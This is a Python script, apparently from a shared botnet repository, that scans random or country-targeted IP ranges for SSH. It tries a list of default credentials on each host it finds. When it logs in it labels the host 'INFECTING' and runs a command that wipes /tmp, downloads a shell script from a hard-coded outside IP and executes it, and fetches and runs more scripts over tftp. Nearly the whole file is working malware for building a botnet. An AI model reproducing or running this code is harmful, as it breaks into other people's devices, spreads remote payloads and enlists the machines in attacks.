Path: blob/master/Botnets/Scanning/AUTOSCANNER/B1nary.py
5038 views
#!/usr/bin/env python1"""23# ___ __________ ____ _______ _____ _______________.___. ___4# / _ \_/\ \______ \/_ |\ \ / _ \\______ \__ | | / _ \_/\5# \/ \___/ | | _/ | |/ | \ / /_\ \| _// | | \/ \___/6# | | \ | / | \/ | \ | \\____ |7# |______ / |___\____|__ /\____|__ /____|_ // ______|8# \/ \/ \/ \/ \/910"""1112import threading, paramiko, random, socket, time, sys1314cmd='cd /tmp; rm -rf *;busybox wget -q http://208.67.1.117/gtop.sh; chmod +x gtop.sh; sh gtop.sh; rm -rf *; busybox tftp -r tftp.sh -g ; sh tftp.sh; busybox tftp -c get tftp2.sh; sh tftp2.sh\r\n'15blacklist = [16'127'17]18passwords = [19"root:root",20"root:admin",21"admin:admin",22"ubnt:ubnt"23"root:1234",24"admin:1234",25"guest:guest",26"user:user",27"test:test",28"pi:raspberry",29"vagrant:vagrant"30]3132if sys.argv[4] == '1':33passwords = ["root:root", "root:admin", "admin:1234"]3435ipclassinfo = sys.argv[2]36if ipclassinfo == "A":37ip1 = sys.argv[3]38elif ipclassinfo == "B":39ip1 = sys.argv[3].split(".")[0]40ip2 = sys.argv[3].split(".")[1]41elif ipclassinfo == "C":42ips = sys.argv[3].split(".")43num=044for ip in ips:45num=num+146if num == 1:47ip1 = ip48elif num == 2:49ip2 = ip50elif num == 3:51ip3 = ip52class sshscanner(threading.Thread):53global passwords54global ipclassinfo55if ipclassinfo == "A":56global ip157elif ipclassinfo == "B":58global ip159global ip260elif ipclassinfo == "C":61global ip162global ip263global ip364def run(self):65while 1:66try:67while 1:68thisipisbad='no'69if ipclassinfo == "A":70self.host = ip1+'.'+str(random.randrange(0,256))+'.'+str(random.randrange(0,256))+'.'+str(random.randrange(0,256))71elif ipclassinfo == "B":72self.host = ip1+'.'+ip2+'.'+str(random.randrange(0,256))+'.'+str(random.randrange(0,256))73elif ipclassinfo == "C":74self.host = ip1+'.'+ip2+'.'+ip3+'.'+str(random.randrange(0,256))75elif ipclassinfo == "BRAZIL":76br = ["179.105","179.152","189.29","189.32","189.33","189.34","189.35","189.39","189.4","189.54","189.55","189.60","189.61","189.62","189.63","189.126"]77self.host = random.choice(br)+'.'+str(random.randrange(0,256))+'.'+str(random.randrange(0,256))78elif ipclassinfo == "SUPER":79yeet = ["122","131","161","37","186","187","31","188","201","2","200"]80self.host = random.choice(yeet)+'.'+str(random.randrange(0,256))+'.'+str(random.randrange(0,256))+'.'+str(random.randrange(0,256))81elif ipclassinfo == "LUCKY":82lucky = ["125.24","125.25","125.26","125.27","125.28","113.53","101.51","101.108","118.175","118.173","182.52","180.180"]83self.host = random.choice(lucky)+'.'+str(random.randrange(0,256))+'.'+str(random.randrange(0,256))84elif ipclassinfo == "LUCKY2":85lucky2 = [ "122.178","122.170","182.65","182.68","182.70","182.75","186.112","186.113","186.114","186.115","186.116","186.118","37.237","37.238","37.239","37.236","191.53","186.208","191.53","186.208","1.0","177.137","177.38","101.108","125.27","177.44","179.189","179.97","119.91","119.92","119.93","119.94","119.95"]86self.host = random.choice(lucky2)+'.'+str(random.randrange(0,256))+'.'+str(random.randrange(0,256))87elif ipclassinfo == "RAND":88self.host = str(random.randrange(0,256))+'.'+str(random.randrange(0,256))+'.'+str(random.randrange(0,256))+'.'+str(random.randrange(0,256))89elif ipclassinfo == "INTERNET":90lol = ["1"]91self.host = random.choice(lol)+'.'+str(random.randrange(0,256))+'.'+str(random.randrange(0,256))+'.'+str(random.randrange(0,256))92else:93self.host = str(random.randrange(0,256))+'.'+str(random.randrange(0,256))+'.'+str(random.randrange(0,256))+'.'+str(random.randrange(0,256))94for badip in blacklist:95if badip in self.host:96thisipisbad='yes'97if thisipisbad=='no':98break99username='root'100password=""101port = 22102s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)103s.settimeout(3)104s.connect((self.host, port))105s.close()106ssh = paramiko.SSHClient()107ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())108dobreak=False109for passwd in passwords:110if ":n/a" in passwd:111password=""112else:113password=passwd.split(":")[1]114if "n/a:" in passwd:115username=""116else:117username=passwd.split(":")[0]118try:119ssh.connect(self.host, port = port, username=username, password=password, timeout=3)120dobreak=True121break122except:123pass124if True == dobreak:125break126badserver=True127stdin, stdout, stderr = ssh.exec_command("/sbin/ifconfig")128output = stdout.read()129if "inet addr" in output:130badserver=False131if badserver == False:132print '\x1b[31mINFECTING:'+self.host+'|'+username+'|'+password+'|'+str(port)133ssh.exec_command(""+cmd+"")134time.sleep(20)135ssh.close()136except:137pass138139for x in range(0,int(sys.argv[1])):140try:141t = sshscanner()142t.start()143except:144pass145146